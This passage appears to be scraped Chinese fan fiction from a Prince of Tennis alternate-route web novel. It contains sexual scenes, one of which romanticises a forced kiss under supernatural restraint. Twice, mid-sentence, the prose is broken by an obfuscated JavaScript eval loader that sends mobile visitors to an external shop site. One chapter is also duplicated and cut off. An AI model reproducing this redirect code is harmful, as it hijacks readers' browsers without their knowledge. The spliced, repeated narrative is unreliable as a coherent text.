“没想到我的酒量这么弱呐。”忍足侑士撩了撩额前的发丝,语气充斥着无奈。“看来,以后要去参加酒量速成班才行呀。” 七海无语凝噎,喝醉了还要扮演吐槽役,侑士你真的很执着诶。 “你喝了那么多,喝醉是肯定的啊,笨蛋!” 在那次会谈的一个月后,他们便闪婚了。去忍足家会见他的一大家子亲戚时,忍足侑士选宣布了他们要结婚的消息,把忍足谦也吓得够呛,浪速之星再也浪不起来。后来通知岳人婚礼消息的时候又把向日岳人吓了一大跳,差点从地面一口气蹦到月球。 婚后,考虑到工作便利,新房还是买在了东京,只不过两人清楚这场婚姻的真相,即使住在一套房子里也依然是分房睡,相敬如宾。从始至终,除了婚礼当天的那一个形式所需的浅吻,他们未曾越过雷池半步。 今晚有个饭局,对面的几个社长不知道什么毛病,总是劝酒劝个不停。偏偏只要这次合作达成,无论是俱乐部还是他的康复医院项目都可再上一层台阶,他怕她喝醉,全程不断地替她挡酒。 七海费力地将人扶到床沿坐下,替他摘下眼镜放到床头。“侑士,我替你煮些醒酒汤,如果难受就喊我,听到了吗?” 忍足侑士闭着眼,双眉微蹙,脸颊泛着一层淡淡的红晕,蓝黑发尾散乱在西服的肩侧,他缓缓点了点头,没有再说什么话。 她却因着眼前这幅西装狼尾帅哥醉酒图心下微动。 不愧是侑士,喝醉酒了看起来也这么帅气,不如说越发性感诱人了,咳咳。 国三时179高的忍足侑士现在身高为188,所以才说白大褂诱惑什么的,毕竟个子高又有肌肉才撑得起来...... 她是知道的,侑士表面总是一副散漫的态度,行动却并非如此。譬如,即使工作再忙碌也坚持早起锻炼,不过,出于室友关系,他没有让她见过衣服下的光景。 也难怪那些小护士见了他总是一副快要被帅晕的样子,这副身材样貌再配上制服诱惑,要不是假结婚,她多半也会把持不住。 “外套一股酒气,我帮你脱了哦。”七海坐到床边,伸手替他解开西服纽扣,视线不经意间移到领口的胸针上——那是十年前那场舞会上她送他的胸针,婚后,只要是穿西服的场合,他都别着这枚黑钻胸针。 “都十年了,侑士,你该不会是打算戴到胸针变成古董的年纪吧......还是你在暗示我该给你买个新的了?” 她嘟哝着,顺手将胸针也取下,俯身放到床头的眼镜边,再回身时,她的唇却擦过一抹温软。 七海呆滞了几秒,反应过来发生了什么。她伸手轻抚过自己的唇,又做贼心虚般偷瞄了一眼他的唇,屋内的酒气仿佛都被刚才的意外冲淡了些许。 ......没事没事,婚礼上他也亲了她一下,现在就算扯平了。而且他现在应该意识不清,没有注意到才对。 稍稍放下心来,七海将脱下的外套扔到一边沙发上,走出卧室。同一时刻,床上的人睁开了双眼,眸光沉沉。 落地窗外是东京繁华璀璨的夜景,窗边,简单冲了个澡后换上吊带睡裙的七海站在岛台前利落地做起醒酒汤。 空气中逐渐弥漫起一阵果香,咕嘟咕嘟的沸腾水声越发衬托出四周的寂静。他平时回到家后喜欢放些浪漫的昭和歌曲,七海思索片刻,干脆也去把唱片机打开了。 “今天就放河合奈保子的月半小夜曲好了。” 悠扬深情的女声伴着咕嘟声回响在偌大的客厅里,不知怎么地,她的脑中突然划过一个字——家。 此情此景,确实很像古早日剧里的剧情。 “应酬回来醉酒躺在床上的丈夫,和为丈夫煮醒酒汤的妻子吗,哈哈。”七海自娱自乐地随口吐槽了一句。 “最后是蜂蜜。”舀起一勺蜂蜜甩进小锅,勺子在苹果橙子煮的汤中摇晃了一阵,她这才将勺子拿出,放到水槽中。又从餐厨柜里取出一个隔热碗,七海正准备拎起锅将滚烫的醒酒汤倒进碗中晾凉,身后却传来了稳重的脚步声。 “侑士,你好点了吗?”她嘴上问着,手上的动作不停,没有转过身。 汤已经转移到碗里,七海放下锅,疑惑于身后怎么没了动静,腰侧却伸过来两只手。他的鼻子抵着她的后脑勺,发丝掠过她的耳廓,带起点点痒意。 七海愣住了。 回想起结婚以来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13813857|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的这两个月,他们甚至没有拥抱过,侑士他大概是喝醉了才会做出这样的行动,倒也没什么斤斤计较的必要。 估计等他第二天醒来,就得疯狂吐槽自己了。 “好香。”或许是醉酒的缘故,他的嗓音越发低哑,说出来的又是这样容易让人误会的台词,色气十足。 口中和鼻子喷出的热气伴随着酒气喷撒在她裸露的肩膀上,霎时间激起一阵鸡皮疙瘩。 她的心忽地漏跳了一拍,再次跳动起来时,速度快了不止一点。 “侑士,你别这样说话......”她真的会误会的! 七海羞着脸道,试图转过身来,他却箍她箍得紧紧的,一时间松不开。 “七海,结婚前一直没有告诉你,其实我有一个喜欢的人了呐。” “......”啊? “那,那你一开始为什么不找她结婚,她已经结婚了,还是她不喜欢你吗?” 伴随着震惊,胸口返上来一丝懊恼,似乎......还有一点酸意。 如果有喜欢的人了为什么还要找她嘛......她刚才差点就产生了不该有的非分之想。而且他现在还抱着她,真是过分,难道她是什么替身吗!抱着她,心里想的却是别的女人之类的......好渣! “我已经和她结婚了,可是她好像忘了以前的事,你说我该怎么办?” “......”诶? 他松开了双臂,她转过身来,他的鼻梁上并未架着眼镜,狭长的深紫色双眸中透出一些沉甸甸的、一眼望不到底的情愫,像一汪深潭。 唱片机里传出温柔的歌声。 【想要和喜欢的人结合,深深地祈祷着。】 【划破青春的云,拥抱四季。】 她总算回想起一些尘封已久的回忆片段,他似乎好像大概确实曾经喜欢过她。不,不需要那么多的缀词,他喜欢过她,她是知道的,所以,现在也依然是吗? “侑士,你现在喜欢我吗?”七海仰头望着他,试探着开口。 他轻笑着:“我不会和不喜欢的人结婚,爱情是不能勉强的,婚姻也是。” “那我们要不假戏真做?”她眨了眨眼,面上甚至还藏着一丝期待。 忍足侑士于几秒的无言以对后扶额,“什么呀,早知道你这么容易就同意了,我之前就不该犹豫。” 他说的犹豫指的是什么事姑且不论,她意识到了另一处不对劲——他说话和动作看起来都挺利索的。 “侑士,你没喝醉啊?” “有点。我要是彻底醉倒了,你扶得动我吗?嘛,今天就算我们结婚的第一天好了。” 忍足又托腮,皱着眉道:“不行,这样一点也不romantic呐。” “新婚第一夜不浪漫可是要被天打雷劈的。” 七海只剩下了满脸的生无可恋。事实证明,忍足侑士根本不是什么低音炮渣男人设,他的血液里分明流淌着关西人的吐槽基因。 “侑士,浪漫可以以后补上,你倒不用——” 她的身体忽地凌空了。 “侑士?!”七海瞪大了眼,慌忙揽住他的脖子,生怕自己掉下去。 “别的我改天再补,有一件事今天就可以做呢,这是丈夫的职责所在。”他的腔调漫不经心,透着十足的懒散,抱住她的双臂却收紧了。 “醒酒汤呢?” “待会儿再喝。” 行动证明,医生对人体的了解和在某一方面的实操能力确实非常人可及。 指弄琴弦,春颂低吟,潮起潮落。 疼痛很快消失,泛上来的是一阵接一阵带着酸胀酥麻,又难以启齿的更为极致的感受。 “侑士,不行,不行了......”她攀着他的背,细声细气地哀求着,浑身轻颤不止。 他俯身,耳畔低哑性感的嗓音不断撩拨着她残存的理智。“根据我的观察,应该还能继续,要相信医生的话。” 她想她要收回之前认定忍足侑士只有关西人的逗比基因的前言,他分明是一只腹黑关西狼,窗外的月光一打进来就现出原形了。 羞怯之下,她的感官越发敏感。“你到底在,观察什么,不许再观察了......” 只是,她越是这么说,他的行动就越发不可收拾,从床上到琴房,琴键随着动作奏响无序的乐章,客厅唱片机中的靡靡歌声像是隔了层纱,缓缓飘入耳畔,变得朦胧婉转。 【滑落的流星的光晕,在心中荡起涟漪。】 【残月又似心痛的寂寞,像美丽的瞳孔一样,请爱我。】 【寻找幸福的两人,如果能相拥着活下去,请不要放手。】 【即使顺着时间的银河流淌成为大人,也不要放手。】 “七海,我只做你的爱人。” 他附在她的耳边,一字一句,深情款款。 是谁说月亮不够耀眼?月光照在身上,渗进心里,她说他胜过一切。 If线-忍足侑士线-The end 185.第 186 章 千叶县,渔师町。 清晨的寺院静谧而祥和。 僧侣们已早早起床,正在诵经祈祷,低沉而有节奏的声音在整个寺院回荡。一只白鸽悄然降落在石栏上,轻轻拍打着翅膀。它侧过头,黑亮的眼珠转向某个方向,一动不动。 七海一走进寺院内,就嗅到空气中弥漫着的淡淡沉香气味。 她是来找平等院凤凰的。 去年年初的澳网,他在男单总决赛对上了梅达诺雷,战况比三年前的U17世界杯对上博格那一战还要惨烈。他不顾她的劝阻一意孤行,最终击败梅达诺雷拿下了大满贯,也因阿赖耶识给身体带来的超负荷受了重伤。 那天之后她再没和他说过一句话,直到最近,从三船入道口中听说,他身上的伤已经好全了,现在在千叶跟随六角中的教练老爹继续锻炼精神力。 她向三船要来了寺院的地址,决定潜入寺院调研一下他的近况。 石板路上跑过几道熟悉的身影,七海赶忙挥手叫住了其中的白发少年:“佐伯君!” 佐伯虎次郎停下脚步,循声望去,张大了嘴。“二阶堂桑?” 虽然他们只在很多年前国三的东京都大赛上有过一面之缘,但是眼前的这位黑发少女如今可是网坛名人,被誉为“网球界的神女”。 “佐伯君,我是来找平等院的,你知道他在哪里吗?” “啊,平等院君,他在那边那间房里,现在这个时间应该是在冥想吧。”佐伯虎次郎指了指不远处罗汉松掩映下的一间屋子。 “我知道了,谢啦。”七海点点头,快步向目的地走去。 走到门口,七海脱下鞋子,一路蹑手蹑脚地穿过玄关,长廊,直到走到一对半开的纸门边,她扒着门边,总算发现了自己要找的人—— 穿着一身宽松的黑色僧袍,盘膝坐在蒲团上正在闭目打坐的平等院凤凰。 “平等院这个懒鬼,又不剃胡子......”七海小声嘀咕着。 他仍留着合宿时的金色短发,下巴上冒出来一圈短短的胡渣搭配着松垮领口露出的胸肌,平添了几分痞气。 “我看你迟早有天回到金毛狮王的造型。” 见他在冥想状态似乎感知不到外界的动静,七海大着胆子走到他面前,俯下身凑近了,像台X光机把他全身扫视了个遍。 “可恶,穿着衣服看不出,不过好像是好了。”她浅浅松了口气,又皱起眉。“不知悔改的家伙,还总是说我是蠢货,至少本小姐现在可是女单全满贯得主,你呢,拿一次大满贯就灰溜溜退役,哼。” “二阶堂,你来这里干什么?” 一道语气不善的质问响起,七海冷不丁被吓了一大跳,弹射起立,往后猛地倒退了两步。 “平等院,你不要只张嘴不睁开眼睛好不好!” 平等院凤凰睁开双眼,抬头,冷眼扫过身前的少女,发出一声略带轻蔑的冷哼。 “喂,你这什么态度!本小姐可是好心来探望你诶。”七海难以置信地瞪大了眼。 “这辈子都不理老子了?” 那天,他拿到大满贯后被医疗队紧急送到了墨尔本皇家医院,七海既气又急且怕,一路跟去医院,等到他从手术室被抬出来,苏醒,便接上了一顿臭骂。 【“平等院,早知道你是这种人,我当初就不该牺牲自己的精神力救你!” “就是你这样不管不顾的性格,三船教练才觉得不能让你承担重任!你自作自受!” “你这条烂命,爱怎么糟蹋随你便!我这辈子再也不理你了!”】 怒气冲冲地放完狠话,她还真就直接摔门离去。后来他回到日本,她干脆让种岛修二做工作时的传话筒,再后来,他回到了千叶,他们的联络彻底中断。 “......我那时候说的是气话。”她别过脸小声道。 他起身。“二阶堂,过来。” 七海磨磨蹭蹭地向前走了两步,表情相当警惕:“干嘛。” 平等院挑眉,“不是想看我伤好全了没?”说罢,干脆地将僧袍脱下,只剩下半身的白色束腿长裤。 “平等院,你变态啊!”七海被他突如其来的脱衣动作惊得刚走近的两步又退了回去,在反应过来他下身穿着衣服后,这才再次走上前,不客气地上下打量了一番。 “本来背上就有那么大块疤了,现在胸前也有一道疤,加上额头那块,唉......” 其他小的伤疤随着时间流逝变成了浅肉色的痕迹,不凑近看不出,只有胸前的那道疤从左胸一直斜向下到腰侧,现在看还是十分狰狞。 “你不去陪那几个小鬼打比赛?” 平等院凤凰见她看得差不多了,将黑袍再度套回身上。 “中国有句话叫,师父领进门,修行看个人。他们去年都各自拿过一次大满贯了,我也不用什么比赛都在。” 她又问:“你的精神力修炼得怎么样了?” “你不是有本事进入老子的精神世界吗?进去看看不就知道了。” 说罢,他便自顾自地盘膝坐下。 七海伸手探向他的额头,再次坠入了曾经探访过的洞窟中。沿着熟悉的小路,她一路向前,直到再次靠近那处深渊边沿,平等院凤凰站在一边,似乎在等着和她一起下去。 “二阶堂,你还真是不怕死。”他讥讽道。 七海立刻反应过来,他指的是当初她纵身跃下深渊,在阿赖耶识的那片昏暗之地找到他的事。 “因为我也是死而复生的人啊,这里不是说死过的人就能下去,我就是死过一次的人,又没什么好怕的。” 平等院脸上的表情变得有点微妙,漆黑的瞳孔中的那点眸光于昏暗中越发醒目。 “呵,果然是个蠢货。” 七海瞬间炸毛,对着平等院指指点点:“干嘛突然骂我啊!” 他弯下腰,轻松地将身侧的少女一手抱起,边说道:“你理解错意思了。不是死而复生的人才能下去,是下去的人如果没能复苏就会被毁灭。” “你跳下去也有可能会死。” 七海挣扎的动作顿在半路。所以,那天她坐在台阶上,他把她拎起来吼她,问她想死吗,是因为她真的和死神擦肩而过...... “还好我福大命大!”回过神来,七海狠狠顺了两下胸口。“那现在还能下去吗?” 她微微探出头俯瞰下去,深渊中溢出的黑气似乎更甚从前,阴森沉重的黑暗气息中传来一股窒碍难当的压迫感。 平等院,他不是说要探索阿赖耶识吗,怎么感觉他不仅没有回归正途,反而在歧路上越走越深了...... “抱紧了。” “啊,诶?——啊啊啊!!” 七海尚未反应过来,平等院凤凰单手抱着她便用力一跃,两人如流星般坠入深渊之中。风声在耳边呼啸而过,七海死死搂住他的脖子,发丝被风糊了一脸,她扯着嗓子喊了起来: “平等院,你下次先和我说一声会死吗!” “老子不喜欢说废话。” “会不会死啊?要是我们这次没复苏怎么办,那不就成了难兄难弟了?” “二阶堂。”他的嗤笑声被撕碎在狂风中,“那叫亡命鸳鸯。”后半句话,他说的是她的家乡话。 “平等院,你到底会说多少国语言啊?”七海彻底震惊了,他说得字正腔圆的。虽然早知他去全世界踢馆的往事,却也没想到,他的语言能力这么强。 光是她所知道的就有英语、日语、德语、汉语、西语、法语......有什么是他不会的吗? “没算过。” “......你别当职业选手了,去读个语言学博士吧。” “有个蠢货舍命救我,我再不当世界第一,岂不是太不给她面子了,嗯?” 顺着他的这句话,他们终于落地,抵达了那片昏暗之地,他松手放下她。 七海再次因为眼前看到的一切震惊得说不出话来。 昏暗之地黑气弥漫,浓稠的黑雾在四周游走徘徊,散发出极其危险的近似死亡的可怖气息。岩壁破碎不堪,布满了深深的裂痕,仿佛随时会塌陷下去。 “平等院......”她轻抚过岩壁,颤着声开口,“你不是去探索阿赖耶识了吗,你怎么把自己搞得和梅达诺雷似的?” “阿赖耶识中本就藏着万物本源,你看到的都是业力。” “业力?”七海茫然地转过头。 平等院点了点头,面上缓缓浮现出一抹似笑非笑的表情。 “二阶堂,老子真是欠你的。” “又怎么了?” 他走到她面前:“业力是因造作的果,口之恶业有两舌、恶口、妄言、绮语,意之恶业有贪、嗔、痴。” “哦,我懂了,就是因为你平时太喜欢骂人,恐吓别人,所以造了恶业。”七海吐了吐舌头,嬉皮笑脸地吐槽道。 然后,他说出下一句话,她脸上的笑意消失得无影无踪。 “蠢货,这里的业力大部分是因为你。” “和我有什么关系?”七海莫名其妙。 “二阶堂,别给老子装傻。” “什么装傻,我是真的不懂!” 他俯下身,捏住她的下巴,漆黑的瞳孔中射出锐利的光芒:“舍命救我,又让我眼睁睁看着你死在怀里,又一次次赶老子走,嗯?” “我们之间的因果,因为你变得纠缠不清,你不知道吗?” 七海霎时间方寸大乱。他,那些梦里的故事,他都看到了?甚至还包括她死掉的那个梦...... 那个梦,其实很长。 在梦中,她搬到了一处除了教练组和他以外无人知晓的公寓里。 无数次,她看到他一个人坐在客厅的餐桌旁,垂着头,紧咬着牙关,面色沉痛。她看到他将那些写着身体各项指标都正常的体检报告撕碎,丢进垃圾桶里,接着像是泄愤般踩了一脚。 让他一个人承受她慢慢走向死亡的过程,她心中有愧。可他却固执得要命,嘴上说着“别等尸体烂了都没人发现”这样不留情面的话,每天都来公寓一趟,风雨无阻。 后来她再次偷偷搬家,再后来,她死在了他的怀里,死在了镰仓的海边。 她惊惶心酸的表情明明白白地告诉他,她果然也同样记得那些事。平等院凤凰冷笑一声,凑到她耳旁一字一句道: “老子刚才还没说身之恶业,你知道是什么吗?” 七海试图拨开他紧捏着不放的手,焦急道:“我不知道,我要出去了。”她脑中预知危险的雷达在哔哔作响,每一处肌肉都异常紧绷。 “是杀生,偷盗,和......”他挑了挑眉。 “色欲。” “平等院你要干嘛?”他该不会真的要......他疯了吗?哦,他好像确实一直都挺疯的。不是,二阶堂七海,都这种时候了,你怎么还有闲心吐槽啊! 七海的脸色精彩纷呈,飞速结束不合时宜的吐槽后,她试图脱出他的精神世界,却发现自己的脚踝和手腕早就被“业力”缠绕而上,挣脱不得。 肾上腺素疯狂飙升,她的呼吸越发急促起来,下巴仍被他捏着,她被迫仰头望着他,眼眶逐渐泛红。 “平等院,我救了你,既然你说你欠我,你就不能那样对我。” “哪样?” “你不要明知故问,你——!”话说到一半被迫噤声。 少年的吻凶猛且霸道,她的手脚都被束缚住,只得被动地承受他过分狂暴的吻法。 “呜呜呜,平等院凤凰你这个混蛋,居然敢强吻我。”待他松开嘴,七海的委屈彻底爆发。“早知道,我就不该特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13829562|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地跑来千叶找你,太过分了,呜呜......” 泪珠顺着脸颊一滴接一滴地滑落,七海胡乱地用手抹去,抽泣不止。 平等院凤凰现在非常以及十分的不爽。 姑且不论他拿了大满贯后有多少女粉丝喜欢他涅槃重生的王者霸气,天天在社媒上留言,期待他复出。以前去世界各地踢馆的时候,所到之处追他的女人也是一抓一大把。 “二阶堂,偏偏老子亲你你就要哭?喜欢老子的人遍布全世界,你居然哭?!”他低头盯着她,咬牙切齿道。那三个人亲她,她也会这样哭? 平等院越想越气。 “追老子的女人,身材你比好,长得比你漂亮的多得是,你居然哭?!” “那你去和她们接吻啊!”七海噙着泪冲着他吼了回去,“用精神力控制住我算什么男人!呜呜呜......” “啧......别哭了。” “再哭老子再亲你一次。” 这句话效果显著,七海立刻止住了哭泣。 “你,你送我出去。” 话音刚落,缠绕着她的黑气散开,她心意一动,再次睁开眼时已回到了寺院的和室中。 盘膝而坐的平等院凤凰也在同一时间睁开双眼,一阵沉默后,他不耐烦地开口: “既然知道了老子的近况,你可以走了。” 七海却在这时下定了决心。他欠她,她也欠他,她害得他变成现在这样,她不能就这样一走了之。 她暗自咽了口口水,清清嗓子,站在他面前,语气坚定地回道: “平等院,我要对你负责。” 几秒后,平等院凤凰从惊愕转为仰天大笑,笑够了,他站起身直接将她按在墙上,锐利的目光沉沉压下。 “二阶堂,被老子亲一下就哭的人说要对老子负责?” “我留在这里,等帮你找到了解决阿赖耶识的副作用的方法,再离开。” “呵,随便你。” ----------------------------- 两个月后。 “师父,他怎么会变成这样?”七海焦急地跪坐在平等院身边,榻榻米上盘坐冥想的人似乎陷入了某种糟糕的状态,所有毛孔都在往外渗血。 站在一旁的小老头捋了捋胡须,意味深长道:“平等院,他选择了阿赖耶识,毁灭或许是他终将面对的结局啊。” 这些日子,在六角中的教练老爹马谷户的指导下,七海一直尝试引导他回道阿修罗神道的正途上,却频频失败。 七海猛地倒吸一口凉气,这话的意思是......他会死吗?强烈的恐慌和焦虑刹那间在心头蔓延开来。 “师父,您不是三船教练的师父吗?您一定有办法的吧?” “七海,你的精神力有疗愈能力,你是知道的吧?”大海,既蕴含着毁天灭地的力量,又是孕育万物之源。 “师父,您就有话直说吧!”七海实在受不了这老头子在这样的危急关头还老神在在、不慌不乱的模样了。 马谷户微微一笑:“是有办法救他,不过需要你......” 七海浑身一震,红晕迅速爬上脸颊。“......必须那样吗?” “这样是最好的办法。七海,你没有立刻拒绝我,看来你对平等院也不是完全没有感情。” 七海无言以对。 这两个月,他们朝夕相处,她见识到了他赛场之下意外地十分柔和的一面。或许也不是意外,毕竟,自从她得知他曾舍身救下Duke的妹妹,她就知道了,平等院凤凰这个笨蛋,其实是个好人。 他们也曾一同坐在深夜的寺庙屋顶,喝着寺院里不该出现的烈酒,他分享给她过去那些年他和Duke去世界各地踢馆的见闻,他听她讲述自己上辈子泛善可陈的人生。 她轻叹了口气。 罢了罢了,她拒绝了他那么多次,就勉强给他个面子,再次救他一命好了。 “我知道了,师父。” ...... 晨曦将曙光洒进庭院,微风轻拂,吹动着垂下的树枝,发出轻柔的沙沙声。 和室内,七海斜坐在蒲团上,疼得直抽气,坐在她面前的少年正拿着一罐药膏,用指腹沾取膏体往她腰上的一处淤青上抹。 “平等院,你轻一点!”她微哑着声怒斥道。 平等院凤凰上药的动作轻缓了些许,嘴角的那点笑意却完全没有遮掩的意思。“二阶堂,最后不还是成了老子的女人?” 七海愤愤然:“你这个混蛋,早知道我就不......我就不救你了!死了算了!” 她身上的青紫瘀痕都是被他抓按的,虽然能理解那样的状态下他没法控制力道,可是她真的很痛......那里也很痛......七海开始装哭。 “是老子错了,别哭了。”平等院无奈地叹了口气。 “一点都不知道怜香惜玉,还是在寺院这种清净之地,平等院凤凰你简直无法无天你......” 他轻笑了两声,将罐子盖上,又用方巾擦拭干净手上残余的药膏。“不是你主动的,嗯?你也知道这里是寺院?” “还读什么般若心经,读这么久,也没变得清心寡欲......”七海嘟哝个没完,平等院额角终于暴起一根青筋。 他干脆承认了:“二阶堂,你说得对。老子就是欲念熏心,现在就证明给你看。” 下一瞬,她被他一手抱起,径直往卧室走去。 七海大惊失色,忙认怂。“平等院,我错了我错了,你放开我......” “迟了,蠢货。” 他的唇角微微扬起:“这次老子会温柔一点。” 沉香萦绕,春风一渡。 If线-平等院凤凰线-The end. 186.第 186 章 千叶县,渔师町。 清晨的寺院静谧而祥和。 僧侣们已早早起床,正在诵经祈祷,低沉而有节奏的声音在整个寺院回荡。一只白鸽悄然降落在石栏上,轻轻拍打着翅膀。它侧过头,黑亮的眼珠转向某个方向,一动不动。 七海一走进寺院内,就嗅到空气中弥漫着的淡淡沉香气味。 她是来找平等院凤凰的。 去年年初的澳网,他在男单总决赛对上了梅达诺雷,战况比三年前的U17世界杯对上博格那一战还要惨烈。他不顾她的劝阻一意孤行,最终击败梅达诺雷拿下了大满贯,也因阿赖耶识给身体带来的超负荷受了重伤。 那天之后她再没和他说过一句话,直到最近,从三船入道口中听说,他身上的伤已经好全了,现在在千叶跟随六角中的教练老爹继续锻炼精神力。 她向三船要来了寺院的地址,决定潜入寺院调研一下他的近况。 石板路上跑过几道熟悉的身影,七海赶忙挥手叫住了其中的白发少年:“佐伯君!” 佐伯虎次郎停下脚步,循声望去,张大了嘴。“二阶堂桑?” 虽然他们只在很多年前国三的东京都大赛上有过一面之缘,但是眼前的这位黑发少女如今可是网坛名人,被誉为“网球界的神女”。 “佐伯君,我是来找平等院的,你知道他在哪里吗?” “啊,平等院君,他在那边那间房里,现在这个时间应该是在冥想吧。”佐伯虎次郎指了指不远处罗汉松掩映下的一间屋子。 “我知道了,谢啦。”七海点点头,快步向目的地走去。 走到门口,七海脱下鞋子,一路蹑手蹑脚地穿过玄关,长廊,直到走到一对半开的纸门边,她扒着门边,总算发现了自己要找的人—— 穿着一身宽松的黑色僧袍,盘膝坐在蒲团上正在闭目打坐的平等院凤凰。 “平等院这个懒鬼,又不剃胡子......”七海小声嘀咕着。 他仍留着合宿时的金色短发,下巴上冒出来一圈短短的胡渣搭配着松垮领口露出的胸肌,平添了几分痞气。 “我看你迟早有天回到金毛狮王的造型。” 见他在冥想状态似乎感知不到外界的动静,七海大着胆子走到他面前,俯下身凑近了,像台X光机把他全身扫视了个遍。 “可恶,穿着衣服看不出,不过好像是好了。”她浅浅松了口气,又皱起眉。“不知悔改的家伙,还总是说我是蠢货,至少本小姐现在可是女单全满贯得主,你呢,拿一次大满贯就灰溜溜退役,哼。” “二阶堂,你来这里干什么?” 一道语气不善的质问响起,七海冷不丁被吓了一大跳,弹射起立,往后猛地倒退了两步。 “平等院,你不要只张嘴不睁开眼睛好不好!” 平等院凤凰睁开双眼,抬头,冷眼扫过身前的少女,发出一声略带轻蔑的冷哼。 “喂,你这什么态度!本小姐可是好心来探望你诶。”七海难以置信地瞪大了眼。 “这辈子都不理老子了?” 那天,他拿到大满贯后被医疗队紧急送到了墨尔本皇家医院,七海既气又急且怕,一路跟去医院,等到他从手术室被抬出来,苏醒,便接上了一顿臭骂。 【“平等院,早知道你是这种人,我当初就不该牺牲自己的精神力救你!” “就是你这样不管不顾的性格,三船教练才觉得不能让你承担重任!你自作自受!” “你这条烂命,爱怎么糟蹋随你便!我这辈子再也不理你了!”】 怒气冲冲地放完狠话,她还真就直接摔门离去。后来他回到日本,她干脆让种岛修二做工作时的传话筒,再后来,他回到了千叶,他们的联络彻底中断。 “......我那时候说的是气话。”她别过脸小声道。 他起身。“二阶堂,过来。” 七海磨磨蹭蹭地向前走了两步,表情相当警惕:“干嘛。” 平等院挑眉,“不是想看我伤好全了没?”说罢,干脆地将僧袍脱下,只剩下半身的白色束腿长裤。 “平等院,你变态啊!”七海被他突如其来的脱衣动作惊得刚走近的两步又退了回去,在反应过来他下身穿着衣服后,这才再次走上前,不客气地上下打量了一番。 “本来背上就有那么大块疤了,现在胸前也有一道疤,加上额头那块,唉......” 其他小的伤疤随着时间流逝变成了浅肉色的痕迹,不凑近看不出,只有胸前的那道疤从左胸一直斜向下到腰侧,现在看还是十分狰狞。 “你不去陪那几个小鬼打比赛?” 平等院凤凰见她看得差不多了,将黑袍再度套回身上。 “中国有句话叫,师父领进门,修行看个人。他们去年都各自拿过一次大满贯了,我也不用什么比赛都在。” 她又问:“你的精神力修炼得怎么样了?” “你不是有本事进入老子的精神世界吗?进去看看不就知道了。” 说罢,他便自顾自地盘膝坐下。 七海伸手探向他的额头,再次坠入了曾经探访过的洞窟中。沿着熟悉的小路,她一路向前,直到再次靠近那处深渊边沿,平等院凤凰站在一边,似乎在等着和她一起下去。 “二阶堂,你还真是不怕死。”他讥讽道。 七海立刻反应过来,他指的是当初她纵身跃下深渊,在阿赖耶识的那片昏暗之地找到他的事。 “因为我也是死而复生的人啊,这里不是说死过的人就能下去,我就是死过一次的人,又没什么好怕的。” 平等院脸上的表情变得有点微妙,漆黑的瞳孔中的那点眸光于昏暗中越发醒目。 “呵,果然是个蠢货。” 七海瞬间炸毛,对着平等院指指点点:“干嘛突然骂我啊!” 他弯下腰,轻松地将身侧的少女一手抱起,边说道:“你理解错意思了。不是死而复生的人才能下去,是下去的人如果没能复苏就会被毁灭。” “你跳下去也有可能会死。” 七海挣扎的动作顿在半路。所以,那天她坐在台阶上,他把她拎起来吼她,问她想死吗,是因为她真的和死神擦肩而过...... “还好我福大命大!”回过神来,七海狠狠顺了两下胸口。“那现在还能下去吗?” 她微微探出头俯瞰下去,深渊中溢出的黑气似乎更甚从前,阴森沉重的黑暗气息中传来一股窒碍难当的压迫感。 平等院,他不是说要探索阿赖耶识吗,怎么感觉他不仅没有回归正途,反而在歧路上越走越深了...... “抱紧了。” “啊,诶?——啊啊啊!!” 七海尚未反应过来,平等院凤凰单手抱着她便用力一跃,两人如流星般坠入深渊之中。风声在耳边呼啸而过,七海死死搂住他的脖子,发丝被风糊了一脸,她扯着嗓子喊了起来: “平等院,你下次先和我说一声会死吗!” “老子不喜欢说废话。” “会不会死啊?要是我们这次没复苏怎么办,那不就成了难兄难弟了?” “二阶堂。”他的嗤笑声被撕碎在狂风中,“那叫亡命鸳鸯。”后半句话,他说的是她的家乡话。 “平等院,你到底会说多少国语言啊?”七海彻底震惊了,他说得字正腔圆的。虽然早知他去全世界踢馆的往事,却也没想到,他的语言能力这么强。 光是她所知道的就有英语、日语、德语、汉语、西语、法语......有什么是他不会的吗? “没算过。” “......你别当职业选手了,去读个语言学博士吧。” “有个蠢货舍命救我,我再不当世界第一,岂不是太不给她面子了,嗯?” 顺着他的这句话,他们终于落地,抵达了那片昏暗之地,他松手放下她。 七海再次因为眼前看到的一切震惊得说不出话来。 昏暗之地黑气弥漫,浓稠的黑雾在四周游走徘徊,散发出极其危险的近似死亡的可怖气息。岩壁破碎不堪,布满了深深的裂痕,仿佛随时会塌陷下去。 “平等院......”她轻抚过岩壁,颤着声开口,“你不是去探索阿赖耶识了吗,你怎么把自己搞得和梅达诺雷似的?” “阿赖耶识中本就藏着万物本源,你看到的都是业力。” “业力?”七海茫然地转过头。 平等院点了点头,面上缓缓浮现出一抹似笑非笑的表情。 “二阶堂,老子真是欠你的。” “又怎么了?” 他走到她面前:“业力是因造作的果,口之恶业有两舌、恶口、妄言、绮语,意之恶业有贪、嗔、痴。” “哦,我懂了,就是因为你平时太喜欢骂人,恐吓别人,所以造了恶业。”七海吐了吐舌头,嬉皮笑脸地吐槽道。 然后,他说出下一句话,她脸上的笑意消失得无影无踪。 “蠢货,这里的业力大部分是因为你。” “和我有什么关系?”七海莫名其妙。 